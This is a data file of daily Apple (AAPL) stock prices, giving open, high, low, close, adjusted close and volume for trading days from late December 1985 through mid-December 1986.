-1985-12-30,0.3995535671710968,0.4040178656578064,0.3950892984867096,0.3973214328289032,0.3155606985092163,26919200.0,AAPL
-1985-12-31,0.3973214328289032,0.3995535671710968,0.3928571343421936,0.3928571343421936,0.3120151162147522,21812000.0,AAPL
-1986-01-02,0.3928571343421936,0.3973214328289032,0.3883928656578064,0.3973214328289032,0.3155606985092163,29355200.0,AAPL
-1986-01-03,0.3973214328289032,0.3995535671710968,0.3950892984867096,0.3995535671710968,0.31733348965644836,60541600.0,AAPL
-1986-01-06,0.3995535671710968,0.3995535671710968,0.390625,0.3973214328289032,0.3155606985092163,46261600.0,AAPL
-1986-01-07,0.3973214328289032,0.4107142984867096,0.3950892984867096,0.4107142984867096,0.3261975944042206,117633600.0,AAPL
-1986-01-08,0.4107142984867096,0.4196428656578064,0.40625,0.4084821343421936,0.32442471385002136,151900000.0,AAPL
-1986-01-09,0.4084821343421936,0.4107142984867096,0.390625,0.4040178656578064,0.32087913155555725,111809600.0,AAPL
-1986-01-10,0.4040178656578064,0.4129464328289032,0.4040178656578064,0.40625,0.3226518929004669,38309600.0,AAPL
-1986-01-13,0.40625,0.4129464328289032,0.4017857015132904,0.4107142984867096,0.3261975944042206,53855200.0,AAPL
-1986-01-14,0.4107142984867096,0.4241071343421936,0.4017857015132904,0.4151785671710968,0.3297431766986847,68174400.0,AAPL
-1986-01-15,0.4151785671710968,0.4285714328289032,0.4129464328289032,0.4263392984867096,0.3386072516441345,105868000.0,AAPL
-1986-01-16,0.4263392984867096,0.4419642984867096,0.4263392984867096,0.4375,0.34747135639190674,133694400.0,AAPL
-1986-01-17,0.4375,0.4419642984867096,0.4263392984867096,0.4285714328289032,0.3403799831867218,86346400.0,AAPL
-1986-01-20,0.4285714328289032,0.4285714328289032,0.4174107015132904,0.4263392984867096,0.3386072516441345,31852800.0,AAPL
-1986-01-21,0.4263392984867096,0.4308035671710968,0.4241071343421936,0.4285714328289032,0.3403799831867218,37990400.0,AAPL
-1986-01-22,0.4285714328289032,0.4308035671710968,0.3995535671710968,0.4174107015132904,0.33151596784591675,35750400.0,AAPL
-1986-01-23,0.4174107015132904,0.4196428656578064,0.40625,0.4107142984867096,0.3261975944042206,39104800.0,AAPL
-1986-01-24,0.4107142984867096,0.4174107015132904,0.4040178656578064,0.4040178656578064,0.32087913155555725,27994400.0,AAPL
-1986-01-27,0.4040178656578064,0.40625,0.3928571343421936,0.3950892984867096,0.31378787755966187,97395200.0,AAPL
-1986-01-28,0.3950892984867096,0.3995535671710968,0.3928571343421936,0.3973214328289032,0.3155606985092163,55574400.0,AAPL
-1986-01-29,0.3973214328289032,0.4352678656578064,0.3928571343421936,0.421875,0.33506160974502563,147392000.0,AAPL
-1986-01-30,0.4196428656578064,0.4196428656578064,0.4084821343421936,0.4107142984867096,0.3261975944042206,59220000.0,AAPL
-1986-01-31,0.4107142984867096,0.4151785671710968,0.4084821343421936,0.4129464328289032,0.32797035574913025,36926400.0,AAPL
-1986-02-03,0.4129464328289032,0.4285714328289032,0.4084821343421936,0.4263392984867096,0.3386072516441345,87505600.0,AAPL
-1986-02-04,0.4263392984867096,0.4352678656578064,0.4241071343421936,0.4241071343421936,0.33683446049690247,65044000.0,AAPL
-1986-02-05,0.4241071343421936,0.4263392984867096,0.4196428656578064,0.4241071343421936,0.33683446049690247,49291200.0,AAPL
-1986-02-06,0.4241071343421936,0.4330357015132904,0.421875,0.4308035671710968,0.3421529233455658,33555200.0,AAPL
-1986-02-07,0.4308035671710968,0.4308035671710968,0.4196428656578064,0.4285714328289032,0.3403799831867218,32351200.0,AAPL
-1986-02-10,0.4285714328289032,0.4375,0.4241071343421936,0.4263392984867096,0.3386072516441345,27960800.0,AAPL
-1986-02-11,0.4263392984867096,0.4285714328289032,0.4196428656578064,0.4263392984867096,0.3386072516441345,38365600.0,AAPL
-1986-02-12,0.4263392984867096,0.4285714328289032,0.4241071343421936,0.4285714328289032,0.3403799831867218,33264000.0,AAPL
-1986-02-13,0.4285714328289032,0.4285714328289032,0.4241071343421936,0.4263392984867096,0.3386072516441345,27344800.0,AAPL
-1986-02-14,0.4263392984867096,0.4308035671710968,0.4241071343421936,0.4241071343421936,0.33683446049690247,34378400.0,AAPL
-1986-02-18,0.4241071343421936,0.4285714328289032,0.4151785671710968,0.4263392984867096,0.3386072516441345,37027200.0,AAPL
-1986-02-19,0.4263392984867096,0.4553571343421936,0.4263392984867096,0.4464285671710968,0.3545624911785126,89919200.0,AAPL
-1986-02-20,0.4464285671710968,0.453125,0.4441964328289032,0.4486607015132904,0.35633549094200134,34479200.0,AAPL
-1986-02-21,0.4486607015132904,0.4598214328289032,0.4486607015132904,0.4508928656578064,0.3581082224845886,47269600.0,AAPL
-1986-02-24,0.4508928656578064,0.4598214328289032,0.4464285671710968,0.4598214328289032,0.3651994466781616,61779200.0,AAPL
-1986-02-25,0.4598214328289032,0.4709821343421936,0.4486607015132904,0.4709821343421936,0.37406352162361145,56184800.0,AAPL
-1986-02-26,0.4709821343421936,0.4776785671710968,0.4642857015132904,0.4642857015132904,0.3687450587749481,41182400.0,AAPL
-1986-02-27,0.4642857015132904,0.4665178656578064,0.4553571343421936,0.4575892984867096,0.3634265065193176,27031200.0,AAPL
-1986-02-28,0.4575892984867096,0.4620535671710968,0.4441964328289032,0.4464285671710968,0.3545624911785126,31281600.0,AAPL
-1986-03-03,0.4464285671710968,0.4486607015132904,0.4375,0.4397321343421936,0.34924399852752686,27204800.0,AAPL
-1986-03-04,0.4397321343421936,0.4464285671710968,0.4375,0.4397321343421936,0.34924399852752686,22276800.0,AAPL
-1986-03-05,0.4397321343421936,0.4553571343421936,0.4330357015132904,0.4508928656578064,0.3581082224845886,44256800.0,AAPL
-1986-03-06,0.4508928656578064,0.4598214328289032,0.4486607015132904,0.453125,0.35988089442253113,25334400.0,AAPL
-1986-03-07,0.453125,0.453125,0.4419642984867096,0.4419642984867096,0.35101693868637085,24046400.0,AAPL
-1986-03-10,0.4419642984867096,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.34924399852752686,18872000.0,AAPL
-1986-03-11,0.4397321343421936,0.4441964328289032,0.4375,0.4441964328289032,0.3527897894382477,25765600.0,AAPL
-1986-03-12,0.4441964328289032,0.4486607015132904,0.4419642984867096,0.4419642984867096,0.35101693868637085,21420000.0,AAPL
-1986-03-13,0.4419642984867096,0.4464285671710968,0.4352678656578064,0.4419642984867096,0.35101693868637085,28991200.0,AAPL
-1986-03-14,0.4419642984867096,0.46875,0.4419642984867096,0.4665178656578064,0.3705179691314697,96213600.0,AAPL
-1986-03-17,0.4642857015132904,0.4642857015132904,0.453125,0.4642857015132904,0.3687450587749481,29680000.0,AAPL
-1986-03-18,0.4642857015132904,0.4866071343421936,0.4620535671710968,0.4799107015132904,0.3811548054218292,62339200.0,AAPL
-1986-03-19,0.4799107015132904,0.4866071343421936,0.4709821343421936,0.4732142984867096,0.3758363425731659,47471200.0,AAPL
-1986-03-20,0.5,0.5290178656578064,0.5,0.5044642686843872,0.40065574645996094,226032800.0,AAPL
-1986-03-21,0.5044642686843872,0.5133928656578064,0.4910714328289032,0.4933035671710968,0.39179161190986633,65094400.0,AAPL
-1986-03-24,0.4933035671710968,0.4933035671710968,0.4709821343421936,0.4776785671710968,0.37938192486763,73578400.0,AAPL
-1986-03-25,0.4776785671710968,0.4977678656578064,0.4776785671710968,0.4977678656578064,0.39533722400665283,70268800.0,AAPL
-1986-03-26,0.4977678656578064,0.5133928656578064,0.4977678656578064,0.5044642686843872,0.40065574645996094,55535200.0,AAPL
-1986-03-27,0.5044642686843872,0.5178571343421936,0.5044642686843872,0.5044642686843872,0.40065574645996094,54751200.0,AAPL
-1986-03-31,0.5044642686843872,0.5089285969734192,0.5,0.5044642686843872,0.40065574645996094,46950400.0,AAPL
-1986-04-01,0.5044642686843872,0.5044642686843872,0.4821428656578064,0.4866071343421936,0.3864732086658478,55680800.0,AAPL
-1986-04-02,0.4866071343421936,0.4888392984867096,0.46875,0.4866071343421936,0.3864732086658478,81323200.0,AAPL
-1986-04-03,0.4866071343421936,0.4933035671710968,0.4799107015132904,0.4821428656578064,0.38292765617370605,52768800.0,AAPL
-1986-04-04,0.4821428656578064,0.4821428656578064,0.4754464328289032,0.4776785671710968,0.37938192486763,31488800.0,AAPL
-1986-04-07,0.4776785671710968,0.4910714328289032,0.46875,0.4866071343421936,0.3864732086658478,30032800.0,AAPL
-1986-04-08,0.4866071343421936,0.4955357015132904,0.4866071343421936,0.4933035671710968,0.39179161190986633,48305600.0,AAPL
-1986-04-09,0.4933035671710968,0.4955357015132904,0.4799107015132904,0.484375,0.38470029830932617,33829600.0,AAPL
-1986-04-10,0.484375,0.4888392984867096,0.4799107015132904,0.4866071343421936,0.3864732086658478,27496000.0,AAPL
-1986-04-11,0.4866071343421936,0.4910714328289032,0.4821428656578064,0.4821428656578064,0.38292765617370605,18916800.0,AAPL
-1986-04-14,0.4821428656578064,0.4866071343421936,0.4776785671710968,0.4799107015132904,0.3811548054218292,21240800.0,AAPL
-1986-04-15,0.4799107015132904,0.4910714328289032,0.4799107015132904,0.4888392984867096,0.3882460296154022,32849600.0,AAPL
-1986-04-16,0.4888392984867096,0.5089285969734192,0.4888392984867096,0.5044642686843872,0.40065574645996094,52707200.0,AAPL
-1986-04-17,0.5044642686843872,0.5200892686843872,0.5,0.5178571343421936,0.4112926721572876,67524800.0,AAPL
-1986-04-18,0.5178571343421936,0.5334821343421936,0.5133928656578064,0.53125,0.4219294488430023,61919200.0,AAPL
-1986-04-21,0.5334821343421936,0.5491071343421936,0.5334821343421936,0.5424107313156128,0.4307937026023865,68387200.0,AAPL
-1986-04-22,0.5424107313156128,0.5580357313156128,0.5290178656578064,0.5334821343421936,0.42370226979255676,81967200.0,AAPL
-1986-04-23,0.5334821343421936,0.5424107313156128,0.5245535969734192,0.5290178656578064,0.4201566278934479,65368800.0,AAPL
-1986-04-24,0.5290178656578064,0.5625,0.5267857313156128,0.5602678656578064,0.44497600197792053,114592800.0,AAPL
-1986-04-25,0.5602678656578064,0.5825892686843872,0.5602678656578064,0.5758928656578064,0.4573856592178345,65268000.0,AAPL
-1986-04-28,0.5758928656578064,0.5848214030265808,0.5669642686843872,0.5714285969734192,0.453840047121048,36383200.0,AAPL
-1986-04-29,0.5714285969734192,0.5758928656578064,0.4799107015132904,0.5580357313156128,0.4432031214237213,33174400.0,AAPL
-1986-04-30,0.5580357313156128,0.5647321343421936,0.5401785969734192,0.5401785969734192,0.42902064323425293,34445600.0,AAPL
-1986-05-01,0.5401785969734192,0.5401785969734192,0.53125,0.5401785969734192,0.42902064323425293,64484000.0,AAPL
-1986-05-02,0.5401785969734192,0.5535714030265808,0.5379464030265808,0.5446428656578064,0.4325663149356842,23396800.0,AAPL
-1986-05-05,0.5446428656578064,0.5803571343421936,0.5446428656578064,0.5736607313156128,0.45561301708221436,37335200.0,AAPL
-1986-05-06,0.5758928656578064,0.59375,0.5758928656578064,0.5825892686843872,0.46270424127578735,54633600.0,AAPL
-1986-05-07,0.5825892686843872,0.5870535969734192,0.5580357313156128,0.5625,0.4467487037181854,49700000.0,AAPL
-1986-05-08,0.5625,0.5915178656578064,0.5625,0.5892857313156128,0.46802276372909546,58340800.0,AAPL
-1986-05-09,0.5892857313156128,0.6004464030265808,0.5848214030265808,0.5959821343421936,0.4733408987522125,55624800.0,AAPL
-1986-05-12,0.5959821343421936,0.6540178656578064,0.59375,0.6495535969734192,0.5158885717391968,100105600.0,AAPL
-1986-05-13,0.6495535969734192,0.6517857313156128,0.6294642686843872,0.6428571343421936,0.5105700492858887,117941600.0,AAPL
-1986-05-14,0.6428571343421936,0.6674107313156128,0.6428571343421936,0.6584821343421936,0.522979736328125,120747200.0,AAPL
-1986-05-15,0.6584821343421936,0.6607142686843872,0.6361607313156128,0.6428571343421936,0.5105700492858887,55636000.0,AAPL
-1986-05-16,0.6428571343421936,0.6473214030265808,0.6272321343421936,0.6428571343421936,0.5105700492858887,79811200.0,AAPL
-1986-05-19,0.6428571343421936,0.6517857313156128,0.6339285969734192,0.6361607313156128,0.5052515864372253,52376800.0,AAPL
-1986-05-20,0.6361607313156128,0.6361607313156128,0.6116071343421936,0.6316964030265808,0.5017058849334717,61448800.0,AAPL
-1986-05-21,0.6316964030265808,0.6651785969734192,0.625,0.6607142686843872,0.5247524976730347,86682400.0,AAPL
-1986-05-22,0.6607142686843872,0.6696428656578064,0.6383928656578064,0.65625,0.5212070345878601,55126400.0,AAPL
-1986-05-23,0.65625,0.6629464030265808,0.6495535969734192,0.6607142686843872,0.5247524976730347,34960800.0,AAPL
-1986-05-27,0.6607142686843872,0.6607142686843872,0.6495535969734192,0.6584821343421936,0.522979736328125,21162400.0,AAPL
-1986-05-28,0.6584821343421936,0.6696428656578064,0.65625,0.6651785969734192,0.5282983779907227,51783200.0,AAPL
-1986-05-29,0.6651785969734192,0.6651785969734192,0.6517857313156128,0.6607142686843872,0.5247524976730347,25356800.0,AAPL
-1986-05-30,0.6607142686843872,0.6651785969734192,0.6517857313156128,0.6607142686843872,0.5247524976730347,31858400.0,AAPL
-1986-06-02,0.6607142686843872,0.6674107313156128,0.65625,0.6629464030265808,0.5265251994132996,49812000.0,AAPL
-1986-06-03,0.6629464030265808,0.6808035969734192,0.6629464030265808,0.6763392686843872,0.537162184715271,81474400.0,AAPL
-1986-06-04,0.6763392686843872,0.6941964030265808,0.6741071343421936,0.6919642686843872,0.5495718717575073,75163200.0,AAPL
-1986-06-05,0.6919642686843872,0.6986607313156128,0.6875,0.6941964030265808,0.5513448715209961,36971200.0,AAPL
-1986-06-06,0.6941964030265808,0.6941964030265808,0.6696428656578064,0.6741071343421936,0.5353891253471375,44340800.0,AAPL
-1986-06-09,0.6741071343421936,0.6763392686843872,0.640625,0.6428571343421936,0.5105700492858887,61756800.0,AAPL
-1986-06-10,0.6428571343421936,0.6428571343421936,0.6272321343421936,0.6428571343421936,0.5105700492858887,61723200.0,AAPL
-1986-06-11,0.6428571343421936,0.6473214030265808,0.6339285969734192,0.6450892686843872,0.5123429298400879,46715200.0,AAPL
-1986-06-12,0.6450892686843872,0.6495535969734192,0.6428571343421936,0.6428571343421936,0.5105700492858887,32272800.0,AAPL
-1986-06-13,0.6428571343421936,0.6495535969734192,0.6294642686843872,0.6495535969734192,0.5158885717391968,35750400.0,AAPL
-1986-06-16,0.6495535969734192,0.6584821343421936,0.6361607313156128,0.640625,0.5087971687316895,43400000.0,AAPL
-1986-06-17,0.640625,0.6428571343421936,0.6071428656578064,0.6116071343421936,0.4857509136199951,55512800.0,AAPL
-1986-06-18,0.6116071343421936,0.6205357313156128,0.5803571343421936,0.6116071343421936,0.4857509136199951,107413600.0,AAPL
-1986-06-19,0.6116071343421936,0.6383928656578064,0.6049107313156128,0.625,0.4963875114917755,86161600.0,AAPL
-1986-06-20,0.625,0.6450892686843872,0.625,0.6428571343421936,0.5105700492858887,40325600.0,AAPL
-1986-06-23,0.6428571343421936,0.6473214030265808,0.6183035969734192,0.6205357313156128,0.4928419888019562,29080800.0,AAPL
-1986-06-24,0.6205357313156128,0.6272321343421936,0.6138392686843872,0.6227678656578064,0.494614839553833,35498400.0,AAPL
-1986-06-25,0.625,0.6428571343421936,0.625,0.640625,0.5087971687316895,32995200.0,AAPL
-1986-06-26,0.640625,0.6495535969734192,0.6339285969734192,0.6473214030265808,0.5141157507896423,29232000.0,AAPL
-1986-06-27,0.6473214030265808,0.65625,0.6339285969734192,0.640625,0.5087971687316895,12549600.0,AAPL
-1986-06-30,0.640625,0.6473214030265808,0.6383928656578064,0.640625,0.5087971687316895,17690400.0,AAPL
-1986-07-01,0.640625,0.6450892686843872,0.6205357313156128,0.6316964030265808,0.5017058849334717,21929600.0,AAPL
-1986-07-02,0.6316964030265808,0.6473214030265808,0.6316964030265808,0.6450892686843872,0.5123429298400879,36209600.0,AAPL
-1986-07-03,0.6450892686843872,0.6741071343421936,0.6361607313156128,0.671875,0.5336165428161621,45292800.0,AAPL
-1986-07-07,0.671875,0.6741071343421936,0.6316964030265808,0.6361607313156128,0.5052515864372253,45455200.0,AAPL
-1986-07-08,0.6294642686843872,0.6294642686843872,0.609375,0.6116071343421936,0.4857509136199951,68420800.0,AAPL
-1986-07-09,0.6116071343421936,0.6205357313156128,0.6071428656578064,0.6183035969734192,0.49106916785240173,91280000.0,AAPL
-1986-07-10,0.6205357313156128,0.6316964030265808,0.6183035969734192,0.6316964030265808,0.5017058849334717,52141600.0,AAPL
-1986-07-11,0.6316964030265808,0.6741071343421936,0.6294642686843872,0.6629464030265808,0.5265251994132996,56000000.0,AAPL
-1986-07-14,0.6629464030265808,0.6674107313156128,0.6473214030265808,0.6473214030265808,0.5141157507896423,59360000.0,AAPL
-1986-07-15,0.625,0.625,0.6116071343421936,0.6227678656578064,0.494614839553833,74480000.0,AAPL
-1986-07-16,0.6339285969734192,0.6361607313156128,0.5848214030265808,0.5982142686843872,0.47511371970176697,134960000.0,AAPL
-1986-07-17,0.5982142686843872,0.6026785969734192,0.5736607313156128,0.5758928656578064,0.4573856592178345,62720000.0,AAPL
-1986-07-18,0.5758928656578064,0.5803571343421936,0.5580357313156128,0.5669642686843872,0.4502944052219391,77280000.0,AAPL
-1986-07-21,0.5892857313156128,0.6026785969734192,0.5848214030265808,0.5982142686843872,0.47511371970176697,57120000.0,AAPL
-1986-07-22,0.5982142686843872,0.6183035969734192,0.59375,0.6183035969734192,0.49106916785240173,59920000.0,AAPL
-1986-07-23,0.6183035969734192,0.6183035969734192,0.609375,0.609375,0.4839777946472168,44872800.0,AAPL
-1986-07-24,0.6116071343421936,0.6138392686843872,0.5892857313156128,0.5915178656578064,0.469795286655426,36142400.0,AAPL
-1986-07-25,0.5915178656578064,0.6071428656578064,0.5892857313156128,0.6071428656578064,0.48220518231391907,54364800.0,AAPL
-1986-07-28,0.6049107313156128,0.6071428656578064,0.5758928656578064,0.578125,0.45915842056274414,61600000.0,AAPL
-1986-07-29,0.5758928656578064,0.5758928656578064,0.5491071343421936,0.5580357313156128,0.4432031214237213,148960000.0,AAPL
-1986-07-30,0.5580357313156128,0.5625,0.5357142686843872,0.5446428656578064,0.4325663149356842,63840000.0,AAPL
-1986-07-31,0.5446428656578064,0.5625,0.5446428656578064,0.5580357313156128,0.4432031214237213,70560000.0,AAPL
-1986-08-01,0.5558035969734192,0.5669642686843872,0.5558035969734192,0.5602678656578064,0.44497600197792053,37520000.0,AAPL
-1986-08-04,0.5602678656578064,0.5625,0.546875,0.5625,0.4467487037181854,32541600.0,AAPL
-1986-08-05,0.5647321343421936,0.578125,0.5625,0.5736607313156128,0.45561301708221436,29472800.0,AAPL
-1986-08-06,0.5736607313156128,0.5736607313156128,0.5535714030265808,0.5558035969734192,0.4414304792881012,46300800.0,AAPL
-1986-08-07,0.5558035969734192,0.5825892686843872,0.5558035969734192,0.5669642686843872,0.4502944052219391,43349600.0,AAPL
-1986-08-08,0.5691964030265808,0.578125,0.5647321343421936,0.5647321343421936,0.4485216736793518,27535200.0,AAPL
-1986-08-11,0.5691964030265808,0.5982142686843872,0.5669642686843872,0.5982142686843872,0.47511371970176697,45858400.0,AAPL
-1986-08-12,0.5959821343421936,0.6138392686843872,0.5959821343421936,0.6116071343421936,0.4857509136199951,61040000.0,AAPL
-1986-08-13,0.6116071343421936,0.6473214030265808,0.6116071343421936,0.6428571343421936,0.5105700492858887,113680000.0,AAPL
-1986-08-14,0.6428571343421936,0.6607142686843872,0.6428571343421936,0.6428571343421936,0.5105700492858887,57680000.0,AAPL
-1986-08-15,0.6450892686843872,0.6517857313156128,0.6361607313156128,0.6383928656578064,0.5070245862007141,34294400.0,AAPL
-1986-08-18,0.6383928656578064,0.640625,0.625,0.6316964030265808,0.5017058849334717,36836800.0,AAPL
-1986-08-19,0.6272321343421936,0.6339285969734192,0.6183035969734192,0.6316964030265808,0.5017058849334717,34445600.0,AAPL
-1986-08-20,0.6294642686843872,0.6517857313156128,0.6294642686843872,0.6473214030265808,0.5141157507896423,42828800.0,AAPL
-1986-08-21,0.6450892686843872,0.6495535969734192,0.6383928656578064,0.6383928656578064,0.5070245862007141,48664000.0,AAPL
-1986-08-22,0.640625,0.6540178656578064,0.640625,0.6473214030265808,0.5141157507896423,28929600.0,AAPL
-1986-08-25,0.6517857313156128,0.6584821343421936,0.6495535969734192,0.6495535969734192,0.5158885717391968,31600800.0,AAPL
-1986-08-26,0.6495535969734192,0.6584821343421936,0.6495535969734192,0.6540178656578064,0.5194342136383057,32810400.0,AAPL
-1986-08-27,0.6540178656578064,0.6607142686843872,0.6473214030265808,0.6607142686843872,0.5247524976730347,36758400.0,AAPL
-1986-08-28,0.6607142686843872,0.6785714030265808,0.6584821343421936,0.6741071343421936,0.5353891253471375,54924800.0,AAPL
-1986-08-29,0.671875,0.6785714030265808,0.6584821343421936,0.6607142686843872,0.5247524976730347,33807200.0,AAPL
-1986-09-02,0.6629464030265808,0.6629464030265808,0.6205357313156128,0.6205357313156128,0.4928419888019562,58240000.0,AAPL
-1986-09-03,0.6205357313156128,0.6227678656578064,0.609375,0.6205357313156128,0.4928419888019562,29372000.0,AAPL
-1986-09-04,0.625,0.6339285969734192,0.6205357313156128,0.6339285969734192,0.50347900390625,49700000.0,AAPL
-1986-09-05,0.6361607313156128,0.640625,0.625,0.6272321343421936,0.4981604516506195,24623200.0,AAPL
-1986-09-08,0.625,0.625,0.6004464030265808,0.6205357313156128,0.4928419888019562,31550400.0,AAPL
-1986-09-09,0.6183035969734192,0.6428571343421936,0.6183035969734192,0.6383928656578064,0.5070245862007141,37693600.0,AAPL
-1986-09-10,0.6361607313156128,0.640625,0.6205357313156128,0.625,0.4963875114917755,18916800.0,AAPL
-1986-09-11,0.6183035969734192,0.6205357313156128,0.5803571343421936,0.5825892686843872,0.46270424127578735,33588800.0,AAPL
-1986-09-12,0.5803571343421936,0.5848214030265808,0.5669642686843872,0.5669642686843872,0.4502944052219391,57120000.0,AAPL
-1986-09-15,0.5758928656578064,0.5915178656578064,0.5714285969734192,0.5915178656578064,0.469795286655426,55680800.0,AAPL
-1986-09-16,0.5915178656578064,0.6272321343421936,0.5803571343421936,0.6227678656578064,0.494614839553833,61600000.0,AAPL
-1986-09-17,0.6227678656578064,0.625,0.6116071343421936,0.6116071343421936,0.4857509136199951,29215200.0,AAPL
-1986-09-18,0.6116071343421936,0.6160714030265808,0.6026785969734192,0.6071428656578064,0.48220518231391907,24757600.0,AAPL
-1986-09-19,0.6026785969734192,0.6049107313156128,0.59375,0.6004464030265808,0.4768866300582886,31903200.0,AAPL
-1986-09-22,0.5982142686843872,0.6316964030265808,0.5982142686843872,0.6294642686843872,0.499933123588562,59920000.0,AAPL
-1986-09-23,0.6294642686843872,0.6473214030265808,0.6272321343421936,0.6450892686843872,0.5123429298400879,84560000.0,AAPL
-1986-09-24,0.6450892686843872,0.6495535969734192,0.6071428656578064,0.6272321343421936,0.4981604516506195,44217600.0,AAPL
-1986-09-25,0.6272321343421936,0.6294642686843872,0.6004464030265808,0.6160714030265808,0.4892963469028473,46950400.0,AAPL
-1986-09-26,0.609375,0.6138392686843872,0.6049107313156128,0.6116071343421936,0.4857509136199951,17505600.0,AAPL
-1986-09-29,0.6004464030265808,0.6049107313156128,0.5647321343421936,0.5803571343421936,0.4609312117099762,52236800.0,AAPL
-1986-09-30,0.5870535969734192,0.6049107313156128,0.5825892686843872,0.5982142686843872,0.47511371970176697,45197600.0,AAPL
-1986-10-01,0.5959821343421936,0.6160714030265808,0.5959821343421936,0.609375,0.4839777946472168,34647200.0,AAPL
-1986-10-02,0.6026785969734192,0.6138392686843872,0.5982142686843872,0.609375,0.4839777946472168,23704800.0,AAPL
-1986-10-03,0.6138392686843872,0.6205357313156128,0.5959821343421936,0.6026785969734192,0.47865942120552063,34686400.0,AAPL
-1986-10-06,0.6026785969734192,0.6116071343421936,0.6004464030265808,0.609375,0.4839777946472168,23626400.0,AAPL
-1986-10-07,0.6071428656578064,0.609375,0.5870535969734192,0.5892857313156128,0.46802276372909546,31998400.0,AAPL
-1986-10-08,0.5870535969734192,0.5892857313156128,0.5758928656578064,0.5848214030265808,0.4644768536090851,27893600.0,AAPL
-1986-10-09,0.5848214030265808,0.59375,0.5825892686843872,0.5892857313156128,0.46802276372909546,19488000.0,AAPL
-1986-10-10,0.5870535969734192,0.5959821343421936,0.578125,0.59375,0.4715679883956909,14632800.0,AAPL
-1986-10-13,0.5915178656578064,0.6183035969734192,0.5892857313156128,0.6183035969734192,0.49106916785240173,24920000.0,AAPL
-1986-10-14,0.6183035969734192,0.6294642686843872,0.6026785969734192,0.6071428656578064,0.48220518231391907,49834400.0,AAPL
-1986-10-15,0.5982142686843872,0.5982142686843872,0.5848214030265808,0.5959821343421936,0.4733408987522125,51352000.0,AAPL
-1986-10-16,0.5959821343421936,0.6049107313156128,0.59375,0.6004464030265808,0.4768866300582886,33941600.0,AAPL
-1986-10-17,0.6026785969734192,0.6071428656578064,0.5959821343421936,0.6004464030265808,0.4768866300582886,37968000.0,AAPL
-1986-10-20,0.5982142686843872,0.6004464030265808,0.5870535969734192,0.5870535969734192,0.46624982357025146,37245600.0,AAPL
-1986-10-21,0.5892857313156128,0.5892857313156128,0.5825892686843872,0.5848214030265808,0.4644768536090851,28431200.0,AAPL
-1986-10-22,0.5848214030265808,0.5870535969734192,0.5758928656578064,0.5803571343421936,0.4609312117099762,23620800.0,AAPL
-1986-10-23,0.5803571343421936,0.5915178656578064,0.5803571343421936,0.5915178656578064,0.469795286655426,30783200.0,AAPL
-1986-10-24,0.5915178656578064,0.59375,0.5848214030265808,0.5892857313156128,0.46802276372909546,18832800.0,AAPL
-1986-10-27,0.5982142686843872,0.6071428656578064,0.59375,0.6071428656578064,0.48220518231391907,37800000.0,AAPL
-1986-10-28,0.6071428656578064,0.609375,0.5892857313156128,0.5959821343421936,0.4733408987522125,35560000.0,AAPL
-1986-10-29,0.5982142686843872,0.5982142686843872,0.5915178656578064,0.5959821343421936,0.4733408987522125,21358400.0,AAPL
-1986-10-30,0.5982142686843872,0.6205357313156128,0.5959821343421936,0.6116071343421936,0.4857509136199951,73360000.0,AAPL
-1986-10-31,0.6116071343421936,0.6227678656578064,0.6116071343421936,0.6183035969734192,0.49106916785240173,30324000.0,AAPL
-1986-11-03,0.6205357313156128,0.6272321343421936,0.6183035969734192,0.625,0.4963875114917755,37956800.0,AAPL
-1986-11-04,0.6227678656578064,0.640625,0.6049107313156128,0.6383928656578064,0.5070245862007141,61600000.0,AAPL
-1986-11-05,0.6383928656578064,0.6629464030265808,0.6339285969734192,0.6607142686843872,0.5247524976730347,156240000.0,AAPL
-1986-11-06,0.6540178656578064,0.6584821343421936,0.6383928656578064,0.6450892686843872,0.5123429298400879,82880000.0,AAPL
-1986-11-07,0.6428571343421936,0.6450892686843872,0.6227678656578064,0.6383928656578064,0.5070245862007141,35789600.0,AAPL
-1986-11-10,0.640625,0.640625,0.6272321343421936,0.6316964030265808,0.5017058849334717,26471200.0,AAPL
-1986-11-11,0.6339285969734192,0.6383928656578064,0.6294642686843872,0.6339285969734192,0.50347900390625,12544000.0,AAPL
-1986-11-12,0.6383928656578064,0.6540178656578064,0.6361607313156128,0.6540178656578064,0.5194342136383057,32748800.0,AAPL
-1986-11-13,0.6517857313156128,0.6517857313156128,0.6339285969734192,0.6339285969734192,0.50347900390625,34378400.0,AAPL
-1986-11-14,0.6339285969734192,0.6339285969734192,0.6227678656578064,0.6294642686843872,0.499933123588562,33779200.0,AAPL
-1986-11-17,0.6294642686843872,0.6607142686843872,0.625,0.6495535969734192,0.5158885717391968,35420000.0,AAPL
-1986-11-18,0.6495535969734192,0.65625,0.6272321343421936,0.6316964030265808,0.5017058849334717,42515200.0,AAPL
-1986-11-19,0.6272321343421936,0.6294642686843872,0.6160714030265808,0.625,0.4963875114917755,75600000.0,AAPL
-1986-11-20,0.6227678656578064,0.6316964030265808,0.6227678656578064,0.6294642686843872,0.499933123588562,73920000.0,AAPL
-1986-11-21,0.6294642686843872,0.6473214030265808,0.6272321343421936,0.6428571343421936,0.5105700492858887,71680000.0,AAPL
-1986-11-24,0.6473214030265808,0.6808035969734192,0.6428571343421936,0.6785714030265808,0.5389349460601807,94080000.0,AAPL
-1986-11-25,0.6785714030265808,0.7209821343421936,0.6785714030265808,0.71875,0.5708456635475159,212240000.0,AAPL
-1986-11-26,0.7165178656578064,0.7366071343421936,0.7142857313156128,0.7232142686843872,0.5743916034698486,126560000.0,AAPL
-1986-11-28,0.7232142686843872,0.7254464030265808,0.7075892686843872,0.7142857313156128,0.5673001408576965,55137600.0,AAPL
-1986-12-01,0.7142857313156128,0.7165178656578064,0.6986607313156128,0.7165178656578064,0.569072961807251,86800000.0,AAPL
-1986-12-02,0.7232142686843872,0.7455357313156128,0.7142857313156128,0.7410714030265808,0.5885738134384155,92400000.0,AAPL
-1986-12-03,0.7433035969734192,0.7678571343421936,0.7410714030265808,0.7633928656578064,0.6063020825386047,84000000.0,AAPL
-1986-12-04,0.7611607313156128,0.7633928656578064,0.75,0.7589285969734192,0.6027565002441406,67200000.0,AAPL
-1986-12-05,0.7611607313156128,0.78125,0.7589285969734192,0.78125,0.6204845309257507,65520000.0,AAPL
-1986-12-08,0.7790178656578064,0.7834821343421936,0.7566964030265808,0.7589285969734192,0.6027565002441406,86800000.0,AAPL
-1986-12-09,0.7566964030265808,0.7611607313156128,0.734375,0.7566964030265808,0.6009835600852966,75600000.0,AAPL
-1986-12-10,0.7566964030265808,0.78125,0.75,0.7767857313156128,0.6169390082359314,61040000.0,AAPL
-1986-12-11,0.7790178656578064,0.7834821343421936,0.7611607313156128,0.765625,0.6080747246742249,56560000.0,AAPL
